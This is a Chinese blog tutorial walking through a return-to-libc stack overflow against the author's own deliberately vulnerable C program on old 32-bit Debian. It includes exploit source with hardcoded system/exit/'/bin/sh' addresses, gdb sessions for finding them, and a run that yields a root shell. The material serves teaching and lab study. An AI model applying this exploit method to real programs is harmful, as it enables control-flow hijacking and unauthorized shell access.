返回libc攻击

0x01 环境


OS:Debian GNU/Linux 3.1
gcc:gcc version 3.3.5 (Debian 1:3.3.5-13)
gdb:GNU gdb (GDB) 7.4

使用这个方法,在ubuntu12.04上同样测试成功了。

0x02 源码


myretlib.c:存在栈溢出漏洞的程序

  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>

  int bof(FILE *badfile){
      char buffer[12];
      fread(buffer,sizeof(char),40,badfile);
      return 1;
  }

  int main(int argc, char **argv){
      FILE *badfile;
      badfile=fopen("badfile","r");
      bof(badfile);
      printf("returned properly\n");
      fclose(badfile);
      return 1;
  }


exploit.c:漏洞利用程序

  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>

  int main(int argc, char **argv){
      char buf[40];
      FILE *badfile;
      badfile=fopen("badfile","w");
      strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");

      *(long *) &buf[36] = 0xbfffff7e;//0x4013b53b; /*用以保存//bin//sh 的相关地址*/
      *(long *) &buf[32] = 0x40046a80; /*用以保存//bin//sh 的相关地址*/
      *(long *) &buf[28] = 0x4005b790; /*用以保存system函数的相关地址*/
      *(long *) &buf[40] = 0x40046a80; /*用以保存exit函数的相关地址*/

      fwrite(buf, sizeof(buf), 1, badfile);
      fclose(badfile);
  }


test.c:获取/bin/sh地址的程序

#include <stdio.h>
#include <stdlib.h>

void main()
{
    return;
}

0x03 返回libc利用的步骤


  1. 找到/bin/sh的

    两种方法:

    一种方法是设置环境变量:通过环境变量设置/bin/sh

    export BIN_SH=/bin/sh
    
    
    

    get_env.c

    #include <stdio.h>
    #include <stdlib.h>
    
    void main()
    {
        char * shell = getenv("BIN_SH");
        if(shell)
            printf("%x\n", (unsigned int)shell);
        return;
    }
    
    debian:/home/yerx/ret-to-lib# ./get_env
    bfffff80
    
    

    注意:这个并不是漏洞利用程序中/bin/sh的地址,这个后面会说。现在只需要记下这个地址。

  2. 找到libc中system()函数,exit()函数的起始地址

    debian:/home/yerx/ret-to-lib# gdb -q ./test
    Reading symbols from /home/yerx/ret-to-lib/test...done.
    (gdb) disassemble
    No frame selected.
    (gdb) disassemble main
    Dump of assembler code for function main:
       0x08048354 <+0>:     push   %ebp
       0x08048355 <+1>:     mov    %esp,%ebp
       0x08048357 <+3>:     sub    $0x8,%esp
       0x0804835a <+6>:     and    $0xfffffff0,%esp
       0x0804835d <+9>:     mov    $0x0,%eax
       0x08048362 <+14>:    sub    %eax,%esp
       0x08048364 <+16>:    leave
       0x08048365 <+17>:    ret
    End of assembler dump.
    (gdb) b main
    Breakpoint 1 at 0x8048364: file test.c, line 7.
    (gdb) p system
    No symbol "system" in current context.
    (gdb) r
    Starting program: /home/yerx/ret-to-lib/test
    
    Breakpoint 1, main () at test.c:7
    7       }
    (gdb) p system
    $1 = {<text variable, no debug info>} 0x4005b790 <system>
    (gdb) p exit
    $2 = {<text variable, no debug info>} 0x40046a80 <exit>
    (gdb)
    
    
    
  3. 修改exploit.c程序中的地址

          *(long *) &buf[36] = 0xbfffff7e;//0x4013b53b; /*用以保存//bin//sh 的相关地址*/
          *(long *) &buf[32] = 0x40046a80; //exit地址
          *(long *) &buf[28] = 0x4005b790; /*用以保存system函数的相关地址*/
          *(long *) &buf[40] = 0x40046a80; /*用以保存exit函数的相关地址*/
    
    
    

    这里需要就这几个地址做一下说明buf[28],这个是myretlib.c程序,调用call bof指令之后,保存返回指令的地址。

    结合gdb调试信息看一下:

    debian:/home/yerx/ret-to-lib# gdb -q ./myretlib
    Reading symbols from /home/yerx/ret-to-lib/myretlib...done.
    (gdb) disassemble main
    Dump of assembler code for function main:
       0x08048473 <+0>:     push   %ebp
       0x08048474 <+1>:     mov    %esp,%ebp
       0x08048476 <+3>:     sub    $0x18,%esp
       0x08048479 <+6>:     and    $0xfffffff0,%esp
       0x0804847c <+9>:     mov    $0x0,%eax
       0x08048481 <+14>:    sub    %eax,%esp
       0x08048483 <+16>:    movl   $0x80485e4,0x4(%esp)
       0x0804848b <+24>:    movl   $0x80485e6,(%esp)
       0x08048492 <+31>:    call   0x8048368 <fopen@plt>
       0x08048497 <+36>:    mov    %eax,-0x4(%ebp)
       0x0804849a <+39>:    mov    -0x4(%ebp),%eax
       0x0804849d <+42>:    mov    %eax,(%esp)
       0x080484a0 <+45>:    call   0x8048444 <bof>
       0x080484a5 <+50>:    movl   $0x80485ee,(%esp)
       0x080484ac <+57>:    call   0x8048348 <printf@plt>
       0x080484b1 <+62>:    mov    -0x4(%ebp),%eax
       0x080484b4 <+65>:    mov    %eax,(%esp)
       0x080484b7 <+68>:    call   0x8048358 <fclose@plt>
       0x080484bc <+73>:    mov    $0x1,%eax
       0x080484c1 <+78>:    leave
       0x080484c2 <+79>:    ret
    End of assembler dump.
    (gdb) b *0x080484a0
    Breakpoint 1 at 0x80484a0
    (gdb) r
    Starting program: /home/yerx/ret-to-lib/myretlib
    
    Breakpoint 1, 0x080484a0 in main ()
    (gdb) i r esp
    esp            0xbffffd20       0xbffffd20
    (gdb) i r ebp
    ebp            0xbffffd38       0xbffffd38
    (gdb) disassemble bof
    Dump of assembler code for function bof:
       0x08048444 <+0>:     push   %ebp
       0x08048445 <+1>:     mov    %esp,%ebp
       0x08048447 <+3>:     sub    $0x28,%esp
       0x0804844a <+6>:     mov    0x8(%ebp),%eax
       0x0804844d <+9>:     mov    %eax,0xc(%esp)
       0x08048451 <+13>:    movl   $0x28,0x8(%esp)
       0x08048459 <+21>:    movl   $0x1,0x4(%esp)
       0x08048461 <+29>:    lea    -0x18(%ebp),%eax
       0x08048464 <+32>:    mov    %eax,(%esp)
       0x08048467 <+35>:    call   0x8048328 <fread@plt>
       0x0804846c <+40>:    mov    $0x1,%eax
       0x08048471 <+45>:    leave
       0x08048472 <+46>:    ret
    End of assembler dump.
    
    
    

    在disass bof中,esp,esp+0x4,esp+0x8,esp+0xc已经用于保存参数,总共分配了0x28个字节的空间(40),使用了0xc个字节(12),还剩28个字节是局部变量buffer的。所以当28个字节之后就是call 0x8048444 <bof>,后面一条指令的地址0x080484a5.

       0x0804844d <+9>:     mov    %eax,0xc(%esp)
       0x08048451 <+13>:    movl   $0x28,0x8(%esp)
       0x08048459 <+21>:    movl   $0x1,0x4(%esp)
       0x08048461 <+29>:    lea    -0x18(%ebp),%eax
       0x08048464 <+32>:    mov    %eax,(%esp)
    
    

    查看一下esp+40的地址是否如描述的一致。

    (gdb) x/20x 0xbffffd1c
    0xbffffd1c:     **0x080484a5**      0x08049768      0x080485e4      0xbffffd94
    0xbffffd2c:     0x4014a8c0      0x40016540      0x08049768      0xbffffd68
    0xbffffd3c:     0x40030e36      0x00000001      0xbffffd94      0xbffffd9c
    0xbffffd4c:     0x08048380      0x00000000      0x4000bcd0      0x4014bdb4
    0xbffffd5c:     0x40016ca0      0x00000001      0x08048380      0x00000000
    (gdb)
    
    

    如上现实,确实是一直的。

    所以我们在buf[28]处填充system起始指令地址,然后我们知道函数栈帧的布局是如下所示
    在这里插入图片描述

    如果要取得函数参数,就是要上移8个字节,所以buf[36]应该就是/bin/sh的地址。返回地址应该就是我们exit函数的地址,所以这里就应该保存在buf[32]。(最后一个buf[40],是看网上很多例子这样写,其实是有问题的,在这里可以去掉。)

    这里还要注意的是

    *(long *) &buf[36] = 0xbfffff7e;//0x4013b53b; /*用以保存//bin//sh 的相关地址*/
    
    

    这里的/bin/sh地址并不是我们前面获取的0xbfffff80,这是因为,如果使用这个地址,将会出现

    debian:/home/yerx/ret-to-lib# ./myretlib
    sh: line 1: in/sh: 没有那个文件或目录
    段错误
    
    
    

    通过提示可以看到/bin/sh,少了/b这两个字节,所以这里我们迁移两个字节就是0xbfffff7e,这样就是正确的/bin/sh字符串了。

    设置好了/bin/sh, system, exit的地址之后,就可以利用这个漏洞了

  4. 执行

    debian:/home/yerx/ret-to-lib# gcc exploit.c -o exploit
    debian:/home/yerx/ret-to-lib# ./exploit
    debian:/home/yerx/ret-to-lib# gcc myretlib.c -o myretlib
    debian:/home/yerx/ret-to-lib# ./myretlib
    sh-2.05b# exit
    exit
    
    
    

    成功调用/bin/sh,并正常退出了,若果使用网上设置buf[40]的方法,则无法正常退出,会出现段错误提示。

  5. 第二种找/bin/sh的方法,使用test程序找/bin/sh

    debian:/home/yerx/ret-to-lib# gdb -q ./test
    Reading symbols from /home/yerx/ret-to-lib/test...done.
    (gdb) b main
    Breakpoint 1 at 0x8048364: file test.c, line 7.
    (gdb) r
    Starting program: /home/yerx/ret-to-lib/test
    
    Breakpoint 1, main () at test.c:7
    7       }
    (gdb) p __libc_start_main
    $1 = {<text variable, no debug info>} 0x40030d70 <__libc_start_main>
    (gdb) find 0x40030d70,+1000000,"/bin/sh"
    Pattern not found.
    (gdb) find 0x40030d70,+2000000,"/bin/sh"
    0x4013b53b
    warning: Unable to access target memory at 0x4014af43, halting search.
    1 pattern found.
    (gdb)
    
    
    

    可以看到find 0x40030d70,+2000000,"/bin/sh"这个范围找到了/bin/sh,地址是0x4013b53b,这个地址可以直接赋值给buf[36]。

    执行的结果是一致的。

0x04 参考

https://zhuanlan.zhihu.com/p/32563626

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值